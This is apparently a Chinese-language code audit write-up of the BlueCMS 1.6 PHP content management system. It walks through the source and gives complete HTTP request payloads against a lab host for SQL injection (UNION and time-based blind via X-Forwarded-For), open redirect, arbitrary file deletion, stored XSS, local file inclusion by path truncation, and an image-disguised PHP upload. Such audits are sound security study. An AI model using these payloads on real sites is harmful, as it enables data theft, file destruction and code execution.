bluecms1.6 代码审计
全局分析
观察cms文件结构,大致可以看出
/admin 后台管理
/include 用于包含的文件
/templates 模板文件
从index.php开始看起,首先看它包含了哪些文件
require_once('include/common.inc.php');
require_once(BLUE_ROOT.'include/index.fun.php');
先查看common.inc.php:
require_once (BLUE_ROOT.'include/common.fun.php');
require_once(BLUE_ROOT.'include/cat.fun.php');
require_once(BLUE_ROOT.'include/cache.fun.php');
require_once(BLUE_ROOT.'include/user.fun.php');
require_once(BLUE_ROOT.'include/index.fun.php');
包含了一些函数文件,后期可跟踪函数名子在这些文件中搜索
#30-36行
if(!get_magic_quotes_gpc())
{
$_POST = deep_addslashes($_POST);
$_GET = deep_addslashes($_GET);
$_COOKIES = deep_addslashes($_COOKIES);
$_REQUEST = deep_addslashes($_REQUEST);
}
发现在30-36行处,对全局数组POST,GET,COOKIES,REQUEST都进行了转义处理,所以只要通过这些方式输入的数据中存在单引号,双引号都会被转义。所以只要包含了这个文件,只要被单引号包裹就无法进行注入。
就这样大致浏览一下这些文件的开头部分,后面其实大多都是功能部分,我们有的其实都不用去关注,毕竟我们本来就不可能每行都去看一遍
文件有点长,但是我们无需关心,只看开头有没有可以利用的变量
漏洞分析
SQL注入漏洞
位置
/ad_js.php的第12-19行
分析
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
虽然开头就包含了/include/common.inc.php文件,但是$ad_id参数未被单引号包裹,直接拼接至语句中执行,所以此处存在sql注入
复现
payload如下:
GET /ad_js.php?ad_id=0+union+select+0,0,0,0,0,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema%3ddatabase()),0 HTTP/1.1
Host: cms.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=uj9t78rinbnp39rbdvaic1j9h5
Connection: close

SQL注入漏洞
位置
/comment.php第113-114行
分析
#/comment.php
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
#/include/common.fun.php
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
/include/common.fun.php下getip()函数返回存在通过头部IP字段获取的变量,跟踪该函数发现comment.php下第113行可利用getip()获取的可控变量进行sql注入
复现
这是一个INSERT INTO语句,这里采用的是通过select case when then else语句进行延时注入的方法payload如下:
POST /comment.php HTTP/1.1
Host: cms.cn
Content-Length: 23
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/comment.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7
X-Forwarded-For:1'+(select case when(ascii(substr(database(),1,1))=98) then sleep(5) else 1 end),'1')#
Connection: close
act=send&id=1&comment=a

任意文件跳转
位置
/user.php第112行
分析
#/user.php第112行
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);
#/user.php第66行
$from = !empty($from) ? base64_decode($from) : 'user.php';
showmsg函数的作用是页面跳转,同时注意这里$from有经过base64解密,我们通过登录用户,抓取登录包,其实就可以发现$from变量,我们假设跳转到根目录下的test.php文件,将test.php进行base64编码
复现
payload如下:
POST /user.php HTTP/1.1
Host: cms.cn
Content-Length: 73
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/test.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7
Connection: close
act=do_login&user_name=test1&pwd=123456&safecode=wp5u&from=dGVzdC5waHA%3D
成功读取test.php文件
任意文件删除
位置
/user.php第616行
分析
if (file_exists(BLUE_ROOT.$_POST['lit_pic'])) {
@unlink(BLUE_ROOT.$_POST['lit_pic']);
}
存在未过滤变量$_POST['lit_pic'],导致任意文件删除漏洞
复现
在网站根目录下新建test.php,尝试删除它
payload如下:
POST /user.php HTTP/1.1
Host: cms.cn
Content-Length: 78
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/user.php?act=manage
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=1
Connection: close
act=do_info_edit&post_id=1&title=1&link_man=1&link_phone=1&lit_pic=%2Ftest.php
成功删除
任意文件删除
位置
/user.php第616行
分析
elseif($act == 'edit_user_info'){
$user_id = intval($_SESSION['user_id']);
if(empty($user_id)){
return false;
}
$birthday = trim($_POST['birthday']);
$sex = intval($_POST['sex']);
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$msn = !empty($_POST['msn']) ? trim($_POST['msn']) : '';
$qq = !empty($_POST['qq']) ? trim($_POST['qq']) : '';
$mobile_phone = !empty($_POST['mobile_phone']) ? trim($_POST['mobile_phone']) : '';
$office_phone = !empty($_POST['office_phone']) ? trim($_POST['office_phone']) : '';
$home_phone = !empty($_POST['home_phone']) ? trim($_POST['home_phone']) : '';
$address = !empty($_POST['address']) ? htmlspecialchars($_POST['address']) : '';
if (!empty($_POST['face_pic1'])){
if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
showmsg('只支持本站相对路径地址');
}
else{
$face_pic = trim($_POST['face_pic1']);
}
}else{
if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
@unlink(BLUE_ROOT.$_POST['face_pic3']);
}
}
if(isset($_FILES['face_pic2']['error']) && $_FILES['face_pic2']['error'] == 0){
$face_pic = $image->img_upload($_FILES['face_pic2'],'face_pic');
}
$face_pic = empty($face_pic) ? '' : $face_pic;
$sql = "UPDATE ".table('user')." SET birthday = '$birthday', sex = '$sex', face_pic = '$face_pic', email = '$email', msn = '$msn', qq = '$qq'," .
" mobile_phone = '$mobile_phone', office_phone = '$office_phone', home_phone = '$home_phone', address='$address' WHERE user_id = ".intval($_SESSION['user_id']);
$db->query($sql);
showmsg('更新个人资料成功', 'user.php');
}
直接将信息更新到了数据库中,并没有通过上面那个引擎对我们的输入进行合法性检查,此问题出现在用户邮箱处和头像处
复现
payload如下:
POST /user.php HTTP/1.1
Host: cms.cn
Content-Length: 1478
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOMTrUDoEmhaL8Yps
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/user.php?act=my_info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=4
Connection: close
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="face_pic1"
1
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="face_pic2"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="birthday"
2021-01-05
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="sex"
0
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="email"
<script>alert(/xss/)</script>
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="msn"
1
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="qq"
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="office_phone"
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="home_phone"
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="mobile_phone"
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="address"
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="act"
edit_user_info
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="submit"
ȷ����
------WebKitFormBoundaryOMTrUDoEmhaL8Yps
Content-Disposition: form-data; name="face_pic3"
1
------WebKitFormBoundaryOMTrUDoEmhaL8Yps--
编辑成功后跳转回用户信息界面,每次访问都会触发弹框,因为我们编辑用户邮箱为<script>alert(/xss/)</script>
任意文件包含漏洞
位置
/user.php第750行
分析
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}
变量$_POST['pay']拼接到include函数中,且只有开头包含文件的转义过滤处理,我们可以使用0x00或文件长度截断方式进行过滤,本次审计的环境是PHP5.2.17,如果环境为5.4以上那么上述两种方法无效,不存在任意文件包含漏洞,但是为了更好理解漏洞,我还是将环境设为5.3以下
复现
payload如下:
POST /user.php?act=pay HTTP/1.1
Host: cms.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 524
pay=../../robots.txt........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
文件上传漏洞
位置
/admin/flash.php
分析
elseif($act == 'do_add'){
$image_link = !empty($_POST['image_link']) ? trim($_POST['image_link']) : '';
$show_order = !empty($_POST['show_order']) ? intval($_POST['showorder']) : '';
if(isset($_FILES['image_path']['error']) && $_FILES['image_path']['error'] == 0){
$image_path = $image->img_upload($_FILES['image_path'],'flash');
}
if($image_path == ''){
showmsg('上传图片出错', true);
}
$image_path = empty($image_path) ? '' : $image_path;
if(!$db->query("INSERT INTO ".table('flash_image')." (image_id, image_path, image_link, show_order) VALUES ('', '$image_path', '$image_link', '$show_order')")){
showmsg('添加flash图片出错', true);
}else{
showmsg('添加flash图片成功', 'flash.php', true);
}
}
跟踪一下img_upload函数,定位到/include/upload.class.php
private $allow_image_type = array('image/jpeg', 'image/gif', 'image/png', 'image/pjpeg');
private $extension_name_arr = array('jpg', 'gif', 'png', 'pjpeg');
function img_upload($file, $dir = '', $imgname = ''){
...
if(!in_array($file['type'],$this->allow_image_type)){
echo '<font style="color:red;">不允许的图片类型</font>';
exit;
}
if(empty($imgname)){
$imgname = $this->create_tempname().'.'.$this->get_type($file['name']);
}
}
function get_type($filepath){
$pos = strrpos($filepath,'.');
echo $pos;
if($pos !== false){
$extension_name = substr($filepath,$pos+1);
}
//echo $extension_name;
if(!in_array($extension_name, $this->extension_name_arr)){
echo '<font style="color:red;">您上传的文件不符合要求,请重试</font>';
exit;
}
return $extension_name;
}
该文件对上传文件进行文件类型和文件名的白名单检测,但是没有对文件内容进行检查,所以能轻易上传一个图片马
复现
payload如下:
POST /admin/flash.php HTTP/1.1
Host: cms.cn
Content-Length: 498
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://cms.cn
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygYDUodHS5Kxq5RGh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://cms.cn/admin/flash.php?act=add
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=176c27932f049-092c306a121045-c791039-144000-176c27932f16fb; CNZZDATA3801251=cnzz_eid%3D375352377-1609579947-%26ntime%3D1609605848; PHPSESSID=bu2lfhjmr46grm2414bkipbdp7; detail=4
Connection: close
------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="image_path"; filename="info.jpg"
Content-Type: image/jpeg
<?php phpinfo(); ?>
------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="image_link"
------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="show_order"
0
------WebKitFormBoundarygYDUodHS5Kxq5RGh
Content-Disposition: form-data; name="act"
do_add
------WebKitFormBoundarygYDUodHS5Kxq5RGh--
上传成功后我们可以通过管理员界面得知上传文件所在目录为data/upload/flash/15525638906.jpg
我们再通过文件包含漏洞执行该图片马

浙公网安备 33010602011771号